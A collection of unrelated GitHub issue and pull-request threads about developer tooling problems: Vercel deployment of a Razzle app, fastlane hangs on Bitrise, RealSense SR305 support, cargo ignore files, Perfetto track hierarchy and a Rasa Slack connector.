Vercel config example

I've been searching up and down everywhere but can't find an example of how to setup a razzle app to be deployed in Vercel. I found this https://github.com/jaredpalmer/razzle/issues/900 and tried to modify it but still, the server.js doesn't seem to be loaded:
My vercel.json:
{
  "version": 2,
  "builds": [
    {
      "src": "package.json",
      "use": "@vercel/static-build",
      "config": { "distDir": "build" }
    },
    {
      "src": "build/public/**",
      "use": "@vercel/static"
    },
    {
      "src": "build/server.js",
      "use": "@vercel/node"
    }
  ],
  "routes": [
    { "src": "/favicon.ico", "dest": "build/public/favicon.ico" },
    { "src": "/robots.txt", "dest": "build/public/robots.txt" },
    { "src": "/static/(.*)", "dest": "build/public/static/$1" },
    { "src": "/(.*)", "dest": "build/server.js" }
  ]
}

What I see in the deployed app:

The vercel deployment log:
Cloning gitlab.com/....
Cloning completed in 1111ms
--
17:59:49.419 | Analyzing source code...
17:59:49.421 | Warning: Due to `builds` existing in your configuration file, the Build and Development Settings defined in your Project Settings will not apply. Learn More: https://vercel.link/unused-build-settings
17:59:50.313 | Installing build runtime...
17:59:50.717 | Build runtime installed: 404.347ms
17:59:51.122 | Looking up build cache...
17:59:51.230 | Build cache found. Downloading...
17:59:53.580 | Build cache downloaded [59.55 MB]: 2349.142ms
17:59:53.994 | Installing dependencies...
18:00:05.101 | up to date in 10.672s
18:00:06.009 | 84 packages are looking for funding
18:00:06.009 | run `npm fund` for details
18:00:06.066 | Running "npm run build"
18:00:06.272 | ><EMAIL_ADDRESS>build /vercel/workpath0
18:00:06.272 | > tsc -b && razzle build
18:00:17.650 | Using .babelrc defined in your app root
18:00:17.883 | Using .babelrc defined in your app root
18:00:17.897 | Creating an optimized production build...
18:00:17.897 | Compiling client...
18:00:25.906 | Compiled client successfully.
18:00:25.906 | Compiling server...
18:00:33.293 | Compiled server successfully.
18:00:33.293 | Compiled successfully.
18:00:33.293 | File sizes after gzip:
18:00:33.420 | 519.69 KB  build/public/static/js/bundle.fb7b7e17.js
18:00:33.420 | 220 B      build/public/manifest.json
18:00:33.420 | 109 B      build/chunks.json
18:00:56.376 | Uploading build outputs...
18:00:58.991 | Uploading build outputs...
18:00:58.998 | Done with static build
18:01:00.903 | Build completed. Populating build cache...
18:01:25.083 | Uploading build cache [59.55 MB]...
18:01:26.294 | Build cache uploaded: 1210.105ms
18:01:26.312 | Done with "package.json"

My src/index.tsx:
import express from 'express';

let app = require('./server').default;

if (module.hot) {
  module.hot.accept('./server', () => {
    console.log('🔁  HMR Reloading `./server`...');
    try {
      app = require('./server').default;
    } catch (error) {
      console.error(error);
    }
  });
  console.info('✅  Server-side HMR Enabled!');
}

const port = process.env.PORT ? parseInt(process.env.PORT, 10) : 3000;

export default express()
  .use((req, res) => app.handle(req, res))
  .listen(port, () => {
    console.log(`> App started http://localhost:${port}`);
  });

The express part of my src/server.tsx:
const server = express()
  .disable('x-powered-by')
  .use(express.static(path.join(__dirname, '../build/public')))
  .use(express.static(process.env.RAZZLE_PUBLIC_DIR!))
  .use(cookieParser())
  .get('/', routeHandler)
  .get('/*', routeHandler);

Relevant scripts from my package.json:
"scripts": {
 "build": "tsc -b && razzle build",
 "start": "concurrently --kill-others \"npm run start:tsc\" \"npm run start:razzle\"",
 "start:tsc": "tsc -w --incremental --preserveWatchOutput",
 "start:prod": "NODE_ENV=production node build/server.js",
 "start:razzle": "razzle start"
},

@gazpachu do you found solution for this?

@gazpachu do you found solution for this?

No. Vercel's support team said that Vercel is not meant to be used with an always-on express server. That's an anti-pattern. It's meant to be used with short-lived serverless functions.
Closing ticket.

No. Vercel's support team said that Vercel is not meant to be used with an always-on express server. That's an anti-pattern. It's meant to be used with short-lived serverless functions.
Closing ticket.


Scan stuck on xcodebuild action while fired on bitrise

Issue Description
I have fastlane configured for my project and recently I've decided I'd go and try bitrise.io.
Most things seems to work correctly, but I cannot get scan to work with this CI.
Curious thing that gym works without any problems and also scan works perfectly fine on my local machine.
Complete output when running fastlane, including the stack trace and command used
$ cd .

 (i) No Gemfile found - using system installed fastlane ...
 (i) Updating fastlane ...
$ gem install fastlane --no-document
Successfully installed gh_inspector-1.0.2
Successfully installed fastlane_core-0.50.2
Successfully installed spaceship-0.31.2
Successfully installed cert-1.4.1
Successfully installed sigh-1.9.0
Successfully installed match-0.6.2
Successfully installed supply-0.7.0
Successfully installed scan-0.11.3
Successfully installed pilot-1.10.0
Successfully installed gym-1.7.0
Successfully installed produce-1.2.0
Successfully installed pem-1.3.2
Successfully installed deliver-1.13.2
Successfully installed frameit-2.7.0
Successfully installed snapshot-1.13.1
Successfully installed word_wrap-1.0.0
Successfully installed xcode-install-2.0.2
Successfully installed fastlane-1.100.0
18 gems installed

Fastlane version:
$ fastlane --version
fastlane 1.100.0

Run fastlane:
$ fastlane run_unit_tests
[04:39:09]: ------------------------------
[04:39:09]: --- Step: default_platform ---
[04:39:09]: ------------------------------
[04:39:09]: Driving the lane 'ios run_unit_tests' 🚀
[04:39:09]: FastfileHelper imported
[04:39:09]: --------------------------------
[04:39:09]: --- Step: clear_derived_data ---
[04:39:09]: --------------------------------
[04:39:09]: Derived Data path located at: /Users/vagrant/Library/Developer/Xcode/DerivedData
[04:39:09]: Successfully cleared Derived Data ♻
[04:39:09]: -----------------------------------
[04:39:09]: --- Step: clean_build_artifacts ---
[04:39:09]: -----------------------------------
[04:39:09]: Cleaned up build artifacts 🐙
[04:39:09]: Using options: {:schemeForTests=>"All tests", :configurationForTests=>"Debug"}
[04:39:09]: ------------------
[04:39:09]: --- Step: scan ---
[04:39:09]: ------------------
[04:39:09]: xcodebuild -list -workspace ./Jodel.xcworkspace

Configuration Files
Please copy the complete content of your Fastfile and any other configuration files you use below:
Fastfile:
lane :run_unit_tests do |options|
    clear_derived_data
    clean_build_artifacts

    ###################################
    # Default parameters
    ###################################
    options = {
        schemeForTests: "All tests",
        configurationForTests: "Debug"
    }.merge(options)
    puts "Using options: #{options.inspect}"
    ###################################
    # Run tests
    ###################################
    jdl_run_tests(options[:schemeForTests], options[:configurationForTests])
end

def jdl_run_tests(scheme, configuration)
    # scan(scheme: scheme, clean: true, device: "iPhone 6s", configuration: configuration, verbose: true)
    scan(scheme: scheme, configuration: configuration, verbose: true)
end

Environment
https://github.com/bitrise-io/bitrise.io/blob/master/system_reports/osx-xcode-7.3.log

Possible duplicate of/related to this issue?
I've had the -showBuildSettings command hang as well in CI, and can reproduce infrequently (~1/100 times) when running a script to do this locally repeatedly.

I went through the possibilities... Tested almost everything manually and it seems that it hang because of the configuration I pass as an argument.
Original comand was:
scan(scheme: scheme, clean: true, device: "iPhone 6s", configuration: configuration, verbose: true)

And now I have something like:
scan(scheme: scheme, clean: true, device: "iPhone 6s", verbose: true)

And latter works just fine, but... in Release configuration. Any ideas what am I doing wrong? 😅

Hey @cojoj, would you be able to provide a repro project? That would help tremendously in debugging this.

Well @vpolouchkine that'd be actually hard... But I suspect it can be CocoaPods related, cause when I change something in our Podfile everything seems to work (even with Debug). xcodebuild is too silent on this one and I cannot make 100% statement on what is actually failing 😭

I couldn't find it anywhere, cause it later goes to Fastlane Core, but maybe scan is piping this xcodebuild -list -workspace ./Jodel.xcworkspace?
https://openradar.appspot.com/27595098

Hi @cojoj Thanks for following up. Can you add the --verbose flag to see if there is more output to help us out here. Thanks!

@TKBurner scan is already running with --verbose flage and IMO it's still not telling everything 😜

Hi @cojoj Thanks for following up. Can you run the command xcodebuild -list -workspace ./Jodel.xcworkspace on your machine and let me know if it runs successfully?
Thanks!

Yes, @TKBurner it always runs successfully 😉

Thanks for following up @cojoj. Is your keychain unlocked? Can you send me your full input to scan? I want to take a look. Thanks!

I'm having the same issue, although it's stuck when I try to run fastlane init.
$ fastlane init --verbose
DEBUG [2016-08-26 14:03:42.30]: Checking if there are any plugins that should be loaded...
INFO [2016-08-26 14:03:42.31]: Detected iOS/Mac project in current directory...
INFO [2016-08-26 14:03:42.31]: This setup will help you get up and running in no time.
INFO [2016-08-26 14:03:42.31]: fastlane will check what tools you're already using and set up
INFO [2016-08-26 14:03:42.31]: the tool automatically for you. Have fun!
INFO [2016-08-26 14:03:42.31]: Created new folder './fastlane'.
WARN [2016-08-26 14:03:42.31]: xcodebuild -list -workspace ./ExampleApp.xcworkspace

Running xcodebuild -list -workspace ./ExampleApp.xcworkspace from the command line works just fine, spitting out the all of the scheme names.

@TKBurner firs of all, keychain shouldn't be an issue since I pass all credentials in env variables, so fastlane doesn't have to hit keychain at all.
And regarding exact scan inputs. Here you go:
# This one is for Unit Tests
scan(scheme: "All tests", clean: true, device: "iPhone 6s", verbose: true)

# This one for UI Tests
scan(scheme: 'All UI tests', configuration: 'DebugUITests', clean: true, device: "iPhone 6s", verbose: true)

@cojoj Have you used this setup, https://github.com/bitrise-io/steps-fastlane? Thanks!

Yes @TKBurner I'm using this step.

Hi @cojoj Thanks for continuing to work with me on this.
To confirm: you are able to run xcodebuild -list -workspace ./Jodel.xcworkspace on bitrise?
Also, can you  let me know which scan command is working on bitrise? Thanks!

It appears fastlane-1.102.0 fixes the issue for me.

@TKBurner xcodebuild -list -workspace ./Jodel.xcworkspace works on bitrise. Actually running tests directly with their flow works as well (so we had to skip scan for now).
It's not that some commands work and some don't. It's rather general problem, cause I've faced same issues locally. It's not deterministic... It's like playing russian roulette 😜

@cojoj Any chance you can check out the new update for fastlane? sudo gem update fastlane
Thanks!

@TKBurner updated to 1.102.0 and solved this problem for me.  Running xcode 7.3.1

I'm seeing a similar non-deterministic hang.  It seems to hang about ~70% of the time.  Here's the full print, including stack trace, when I cancel the script during the hang:
Tylers-MacBook-Pro:ios tsheaff$ fastlane dev notes:"fix super-fast Ken Burns" --verbose
DEBUG [2016-09-06 15:53:12.13]: Checking if there are any plugins that should be loaded...
DEBUG [2016-09-06 15:53:12.16]: Using notes: fix super-fast Ken Burns
INFO [2016-09-06 15:53:12.17]: -------------------------------------------------
INFO [2016-09-06 15:53:12.17]: --- Step: Verifying required fastlane version ---
INFO [2016-09-06 15:53:12.17]: -------------------------------------------------
INFO [2016-09-06 15:53:12.17]: fastlane version valid
INFO [2016-09-06 15:53:12.18]: ------------------------------
INFO [2016-09-06 15:53:12.18]: --- Step: default_platform ---
INFO [2016-09-06 15:53:12.18]: ------------------------------
INFO [2016-09-06 15:53:12.28]: Driving the lane 'dev' 🚀
INFO [2016-09-06 15:53:12.29]: ------------------------------------
INFO [2016-09-06 15:53:12.29]: --- Step: increment_build_number ---
INFO [2016-09-06 15:53:12.29]: ------------------------------------
INFO [2016-09-06 15:53:12.29]: $ cd /Users/tsheaff/Code/private/calm/ios && agvtool next-version -all && cd -
INFO [2016-09-06 15:53:12.59]: ▸ Setting version of project Calm to:
INFO [2016-09-06 15:53:12.59]: ▸ 418.
INFO [2016-09-06 15:53:12.61]: ▸ Also setting CFBundleVersion key (assuming it exists)
INFO [2016-09-06 15:53:12.63]: ▸ Updating CFBundleVersion in Info.plist(s)...
INFO [2016-09-06 15:53:12.64]: ▸ Updated CFBundleVersion in "Calm.xcodeproj/../app/Info.plist" to 418
INFO [2016-09-06 15:53:12.65]: ▸ Updated CFBundleVersion in "Calm.xcodeproj/../siri/Info.plist" to 418
INFO [2016-09-06 15:53:12.66]: ▸ Updated CFBundleVersion in "Calm.xcodeproj/../watch/app/Info.plist" to 418
INFO [2016-09-06 15:53:12.67]: ▸ Updated CFBundleVersion in "Calm.xcodeproj/../watch/extension/Info.plist" to 418
INFO [2016-09-06 15:53:12.68]: ▸ Updated CFBundleVersion in "Calm.xcodeproj/../widget/Info.plist" to 418
INFO [2016-09-06 15:53:12.68]: ▸ /Users/tsheaff/Code/private/calm/ios
(in /Users/tsheaff/Code/private/calm/ios)
(in /Users/tsheaff/Code/private/calm/ios)
fetched programs
fetched scenes
INFO [2016-09-06 15:53:18.47]: -----------------
INFO [2016-09-06 15:53:18.47]: --- Step: gym ---
INFO [2016-09-06 15:53:18.47]: -----------------
WARN [2016-09-06 15:53:18.53]: Using legacy build system - waiting for radar to be fixed: https://openradar.appspot.com/radar?id=4952000420642816
WARN [2016-09-06 15:53:18.59]: xcodebuild -list -workspace ./Calm.xcworkspace
^CWARN [2016-09-06 15:53:24.27]: Variable Dump:
INFO [2016-09-06 15:53:24.27]: {:DEFAULT_PLATFORM=>:ios, :PLATFORM_NAME=>nil, :LANE_NAME=>"dev", :BUILD_NUMBER=>"418"}
INFO [2016-09-06 15:53:24.27]: Successfully generated documentation at path '/Users/tsheaff/Code/private/calm/ios/fastlane/README.md'

+------+-------------------------------------+-------------+
|                     fastlane summary                     |
+------+-------------------------------------+-------------+
| Step | Action                              | Time (in s) |
+------+-------------------------------------+-------------+
| 1    | Verifying required fastlane version | 0           |
| 2    | default_platform                    | 0           |
| 3    | increment_build_number              | 0           |
| 4    | gym                                 | 5           |
+------+-------------------------------------+-------------+

ERROR [2016-09-06 15:53:24.27]: fastlane finished with errors
/Library/Ruby/Gems/2.0.0/gems/fastlane_core-0.50.3/lib/fastlane_core/helper.rb:17:in ``': Interrupt
	from /Library/Ruby/Gems/2.0.0/gems/fastlane_core-0.50.3/lib/fastlane_core/helper.rb:17:in `backticks'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane_core-0.50.3/lib/fastlane_core/project.rb:219:in `build_settings'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane_core-0.50.3/lib/fastlane_core/project.rb:177:in `mac?'
	from /Library/Ruby/Gems/2.0.0/gems/gym-1.8.0/lib/gym/detect_values.rb:66:in `detect_platform'
	from /Library/Ruby/Gems/2.0.0/gems/gym-1.8.0/lib/gym/detect_values.rb:25:in `set_additional_default_values'
	from /Library/Ruby/Gems/2.0.0/gems/gym-1.8.0/lib/gym.rb:26:in `config='
	from /Library/Ruby/Gems/2.0.0/gems/gym-1.8.0/lib/gym/manager.rb:4:in `work'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/actions/gym.rb:22:in `run'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/runner.rb:190:in `block (2 levels) in execute_action'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/actions/actions_helper.rb:35:in `execute_action'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/runner.rb:175:in `block in execute_action'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/runner.rb:174:in `chdir'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/runner.rb:174:in `execute_action'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/runner.rb:100:in `trigger_action_by_name'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/fast_file.rb:140:in `method_missing'
	from Fastfile:19:in `block in parsing_binding'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/lane.rb:33:in `call'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/lane.rb:33:in `call'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/runner.rb:49:in `block in execute'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/runner.rb:45:in `chdir'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/runner.rb:45:in `execute'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/lane_manager.rb:46:in `cruise_lane'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/command_line_handler.rb:30:in `handle'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/commands_generator.rb:49:in `block (2 levels) in run'
	from /Library/Ruby/Gems/2.0.0/gems/commander-4.4.0/lib/commander/command.rb:178:in `call'
	from /Library/Ruby/Gems/2.0.0/gems/commander-4.4.0/lib/commander/command.rb:178:in `call'
	from /Library/Ruby/Gems/2.0.0/gems/commander-4.4.0/lib/commander/command.rb:153:in `run'
	from /Library/Ruby/Gems/2.0.0/gems/commander-4.4.0/lib/commander/runner.rb:444:in `run_active_command'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane_core-0.50.3/lib/fastlane_core/ui/fastlane_runner.rb:36:in `run!'
	from /Library/Ruby/Gems/2.0.0/gems/commander-4.4.0/lib/commander/delegates.rb:15:in `run!'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/commands_generator.rb:246:in `run'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/commands_generator.rb:20:in `start'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/lib/fastlane/cli_tools_distributor.rb:58:in `take_off'
	from /Library/Ruby/Gems/2.0.0/gems/fastlane-1.102.0/bin/fastlane:5:in `<top (required)>'
	from /usr/local/bin/fastlane:23:in `load'
	from /usr/local/bin/fastlane:23:in `<main>'

When I print the command in lib/fastlane_core/project.rb:219 I get xcodebuild -showBuildSettings -workspace ./Calm.xcworkspace -scheme Calm. When I run that on its own I get the exact same non-determistic hang behavior.  Here is my full fastfile, which references a few custom scripts I call using rake:
# Fastfile docs: https://github.com/fastlane/fastlane/tree/master/docs
# Actions here: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Actions.md

fastlane_version "1.102.0"

default_platform :ios

desc "Runs all the tests"
lane :test do
  scan
end

desc "Submit a new Dev Build to Crashlytics"
lane :dev do |options|
  increment_build_number
  full_version = `rake full_app_version`

  system("rake fetch_bundles")
  gym(
    scheme: "Calm",
    configuration: "Dev-Release",
    xcargs: "ARCHIVE=YES", # Used to tell the Fabric run script to upload dSYM file
    use_legacy_build_api: true,
  )

  crashlytics(
    api_token: "<REDACTED>",
    build_secret: "<REDACTED>",
    notes: options[:notes] || "new dev build #{full_version}",
    groups: "Everyone",
  )
  system("rm -rf calm.ipa")
  system("rake push_to_git[\"dev build #{full_version}\"]")
end

desc "Deploy a new version to the App Store"
lane :itunes do
  increment_build_number
  full_version = `rake full_app_version`

  system("rake fetch_bundles")
  gym(
    scheme: "Calm",
    clean: true,
    use_legacy_build_api: true,
    xcargs: "ARCHIVE=YES",
  )

  deliver(
    force: true,
  )

  system("rm -rf calm.ipa")
  system("rake push_to_git[\"app store build #{full_version}\"]")
  system("rake tag_version")
end

Re-reading this thread, it looks like my hang is possibly a fully unrelated issue. Let me know if you want me to file a separate issue.

My issue is fixed by https://github.com/fastlane/fastlane/commit/9d18d6ab6e45944dfad606100ec74e7169f24706

Hi all, we've shipped a workaround (#5626) and timeout/retry solution (#5188) as part of fastlane_core 0.51.0 🚀
Thanks very much for your help! Please let us know how it looks 👍

We haven't yet updated gym and scan to depend on this new version of fastlane_core directly, so it's possible it won't be pulled in yet. If that's the case, please hang on until we get other confirmation and do releases for gym and scan 🚀

@mfurtak looks like so far everything works for us. I guess you can close this issue for now and if anything happens again we can reopen it, but I don't think it should stick around 😉


output should mention it's generated

As a respected coworker said:

Any generated files that get checked into the repo should be prefixed with a comment that says "DON'T EDIT ME, I WAS GENERATED BY $what AT $when AND YOUR CHANGES WILL GET STOMPED"`

Submitted PR: https://github.com/lily-mayfield/adventuredocs/pull/24

Thanks @e-lisa!


conan: 1.53.0 -> 2.0.0

Diff: https://github.com/conan-io/conan/compare/refs/tags/1.53.0...2.0.0
Changelog: https://github.com/conan-io/conan/releases/tag/2.0.0
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 218078 run on x86_64-linux 1

1 package built:

conan

@ofborg build conan


feature(keystone): user add language attribute

User add language attribute, notify and alarm will use this attribute to
send message in proper language
这个 PR 实现什么功能/修复什么问题:
改进：user增加lang属性，用于指定用户的默认语言，用于后端服务选择语言，比如notify和alarm选择合适语言发送消息

是否需要 backport 到之前的 release 分支:

release/3.6

/cc @zexi @yousong @zhaoxiangchun @rainzm
/area keystone

/hold

/hold cancel

Codecov Report

Merging #9501 (5cf5576) into master (15e1058) will increase coverage by 10.58%.
The diff coverage is n/a.

@@             Coverage Diff             @@
##           master    #9501       +/-   ##
===========================================
+ Coverage    5.92%   16.50%   +10.58%
===========================================
  Files         842       87      -755
  Lines      130667     9120   -121547
===========================================
- Hits         7736     1505     -6231
+ Misses     122231     7483   -114748
+ Partials      700      132      -568

Flag
Coverage Δ

aFlag
16.50% <ø> (+10.58%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

pkg/compute/models/guestcdrom.go

pkg/cloudcommon/validators/errors.go

pkg/lbagent/models/modelset.go

pkg/compute/models/quotas_doc.go

pkg/multicloud/aws/networkinterface.go

pkg/cloudcommon/db/quotas/stores.go

pkg/keystone/models/identityquota.go

pkg/cloudcommon/db/enabledstatusinfrasresource.go

pkg/hostman/system_service/fluentbit.go

pkg/apis/share.go

... and 744 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 15e1058...5cf5576. Read the comment docs.

/lgtm

/lgtm


feat: Add bulk upload for measurements

Current dependencies on/for this PR:

main

PR #7   👈

This comment was auto-generated by Graphite.


SR305 Camera Detected by Windows, But Not by RealSense Viewer (Windows 10)

Required Info

Camera Model
SR300

Firmware Version
v<IP_ADDRESS>11

Operating System & Version
Win 10

Platform
PC

SDK Version
{ legacy / 2.. }

Language
{C/C#/labview/nodejs/opencv/pcl/python/unity }

Segment
{Robot/Smartphone/VR/AR/others }

Issue Description
Hi there,
I'm experiencing an issue with the Intel RealSense SR305 on Windows 10. While the camera is detected by Windows and listed in the Device Manager, and I can use it as a webcam, the RealSense Viewer does not recognize the camera and prompts me to "connect a RealSense camera."
Here’s a summary of the troubleshooting steps I’ve tried so far:
On Windows:
Installed the RealSense SDK via the Windows .exe installer.
Tested with different USB ports.
Used a powered USB hub.
Tried on a different computer.

On Linux (Ubuntu):
The camera appears in the output of lsusb.
Installed the RealSense SDK using the .deb package.
Built the SDK from source.
Tried different Linux distributions.

Unfortunately, none of these steps have resolved the issue, and I’m starting to run out of ideas. I’m not sure if this is a new issue or if I’m overlooking something simple.
Any help or suggestions would be greatly appreciated!
Kind regards,
Matthias
Kind regards
Matthias

Hi @mstarckgh  Support for the SR300 / SR305 cameras was removed in RealSense SDK / Viewer version 2.51.1 as it is a retired model.  If you install the 2.50.0 version of the .exe then the camera should be detected in the Viewer.
https://github.com/IntelRealSense/librealsense/releases/tag/v2.50.0

Hi,
Thanks for the quick response! Could you please clarify how long you plan to support the D455 and D435i models?

There are no current plans to retire 400 Series models.  When models are retired, it is announced by Intel months in advance in End of Life (EOL) notices.
When a model is retired from sale, there is usually an extended period of time where it continues to be supported in the RealSense SDK and Viewer software.


align semantics of generated vcs ignore files

What does this PR try to resolve?
The currently generated ^target/ spec in a hg ignore will only ignore dirs of that name at the root.
This change matches the behavior of the gitignore spec next to it, by only ignoring both files/symlinks and dirs of name "target".
How should we test and review this PR?
Run cargo new

r? @weihanglo

targo is an example of a current tool that takes the symlink approach: https://github.com/rust-lang/cargo/issues/11156#issuecomment-1285951209

Added. If this isn't what you meant, I don't know what test you want to see.

Oops my fault 🙇🏾. You already updated UI snapshot. Maybe we don't need the newly added test. Could you drop that commit and then we can merge this? Thank you!

Thanks!
@bors r+

:pushpin: Commit 8183c31eec0b8145ebe795b297f92d821603aaf1 has been approved by weihanglo
It is now in the queue for this repository.

:hourglass: Testing commit 8183c31eec0b8145ebe795b297f92d821603aaf1 with merge 94394ebf2a6b6f1c1d6c160b48865a06e54d5f30...

:sunny: Test successful - checks-actions
Approved by: weihanglo
Pushing 94394ebf2a6b6f1c1d6c160b48865a06e54d5f30 to master...

:sunny: Test successful - checks-actions
Approved by: weihanglo
Pushing 94394ebf2a6b6f1c1d6c160b48865a06e54d5f30 to master...

:eyes: Test was successful, but fast-forwarding failed: 422 Changes must be made through a pull request.


Nested processes/hierarchy

It seems right now the only mechanism for having hierarchy in a trace is through processes & the pid key on events, which lets you have one "level" of hierarchy/collapsible categories. Is there currently a way or will there be a way to have further and more arbitrary nesting?

Is this feature available right now?
If not, when is it expected to be available?

No it is not currently available. We still plan on doing this and there has been some infra work to allow this to happen but it's not there yet and there is no timeline for this ATM.

In process tracks, can we possibly remove the Process NUM and replace it with another name?
so that we can use process tracks as a one-level hierarchy at least?

You should already be able to specify a process name by setting the "name" field in the track descriptor (https://cs.android.com/android/platform/superproject/+/master:external/perfetto/protos/perfetto/trace/track_event/track_descriptor.proto;l=60?q=f:perfetto f:track_desc)
If you're using the SDK, this is described in the Track comment here: https://cs.android.com/android/platform/superproject/+/master:external/perfetto/include/perfetto/tracing/track.h;l=72?q=f:perfetto f:track.h

Going to fold this into https://github.com/google/perfetto/issues/321

I'm also trying to move the hierarchy one level up so that I can collapse threads (my app is running in a single process but with a highly complex multithreading setup that I would like to collapse).
Unfortunately changing the name of the single process as suggested here does not make it use multiple "root" items, but just rename the single root item, so I also need a way of generating multiple "root" items using one of the two options:

Fake other processes (but there is only one static integer variable for the ProcessTrack class)
Tell the UI viewer to use the thread level as root level.


fix(build.yml): generation of version tag

Fixes #33
If accepted, I'll PR the same to https://github.com/ublue-os/surface-nvidia

We'll need this in asus and framework if you're feeling up to it!

We'll need this in asus and framework if you're feeling up to it!

https://github.com/ublue-os/asus/pull/21
https://github.com/ublue-os/framework/pull/53
I believe these should cover it. Thanks for pointing that out @castrojo!


Create Benchmark

any info for this issue?

Think this was for the MySQL benchmarks for record sets.

No more info has been provided for this, closing


While integrating with the slack i am getting error

Rasa Core version: 0.11.5
Python version: 2.7.12
Operating system (windows, osx, ...):unix
Issue: When i am running the python script run_app.py i am getting the following error.
warnings.warn(warning, RequestsDependencyWarning)
Traceback (most recent call last):
  File "run_app.py", line 1, in <module>
    from rasa_core.channels import HttpInputChannel
ImportError: cannot import name HttpInputChannel

my rasa_slack_connector.py file is:
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import logging

from builtins import str
from flask import Blueprint, request, jsonify

from rasa_core.channels.channel import UserMessage, OutputChannel
from rasa_core.channels.rest import HttpInputComponent

logger = logging.getLogger(__name__)

class SlackBot(OutputChannel):
	def __init__(self, slack_verification_token, channel):
		self.slack_verification_token = slack_verification_token
		self.channel = channel

	def send_text_message(self, recipient_id, message):
		from slackclient import SlackClient
		text = message
		recipient = recipient_id

		CLIENT = SlackClient(self.slack_verification_token)
		CLIENT.api_call('chat.postMessage', channel = self.channel, text = text, as_user = True)

class SlackInput(HttpInputComponent):
	def __init__(self, slack_dev_token, slack_verification_token, slack_client, debug_mode):
		self.slack_dev_token = slack_dev_token
		self.debug_mode = debug_mode
		self.slack_client = slack_client
		self.slack_verification_token = slack_verification_token

	def blueprint(self, on_new_message):
		from flask import Flask, request, Response
		slack_webhook = Blueprint('slack_webhook', __name__)

		@slack_webhook.route('/', methods = ['GET'])
		def health():
			return jsonify({'status':'ok'})

		@slack_webhook.route('/slack/events', methods = ['POST'])
		def event():
			if request.json.get('type') == 'url_verification':
				return request.json.get('challenge'), 200

			if request.json.get('token') == self.slack_client and request.json.get('type') == 'event_callback':
				data = request.json
				messaging_events = data.get('event')
				channel = messaging_events.get('channel')
				user = messaging_events.get('user')
				text = messaging_events.get('text')
				bot = messaging_events.get('bot_id')
				if bot == None:
					on_new_message(UserMessage(text, SlackBot(self.slack_verification_token, channel)))

			return Response(), 200

		return slack_webhook

my run_app.py file is :+1:
from rasa_core.channels import HttpInputChannel
from rasa_core.agent import Agent
from rasa_core.interpreter import RasaNLUInterpreter
from rasa_slack_connector import SlackInput

nlu_interpreter = RasaNLUInterpreter('./models/nlu/default/weathernlu')
agent = Agent.load('./models/dialogue', interpreter = nlu_interpreter)

input_channel = SlackInput('xoxp', #app verification token
							'xoxb', # bot verification token
							'....', # slack verification token
							True)

agent.handle_channel(HttpInputChannel(5004, '/', input_channel))

Content of domain file (if used & relevant):

Thanks for raising this issue, @wochinge  will get back to you about it soon.

@mk4224 You don't have to use the HttpInputChannel. See https://rasa.com/docs/core/0.11.5/connectors/#directly-using-python for the instructions.
If you don't have any custom code, I also suggest to use the credentials file to set up your endpoint.
Did this help you?

No. not yet resolved this issues. Can you please explain little more which
credential file and custom code you are talking about? I have posted the
whole set of code in the earlier post which i am using.
On Tue, Nov 13, 2018 at 5:40 PM Tobias Wochinger<EMAIL_ADDRESS>wrote:

@mk4224 https://github.com/mk4224 You don't have to use the
HttpInputChannel. See
https://rasa.com/docs/core/0.11.5/connectors/#directly-using-python for
the instructions.
If you don't have any custom code, I also suggest to use the credentials
file to set up your endpoint.
Did this help you?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/RasaHQ/rasa_core/issues/1315#issuecomment-438244234,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Ao8cYp56ntQHS4ssU8p--VM1py5MCGMiks5uuracgaJpZM4YZg1X
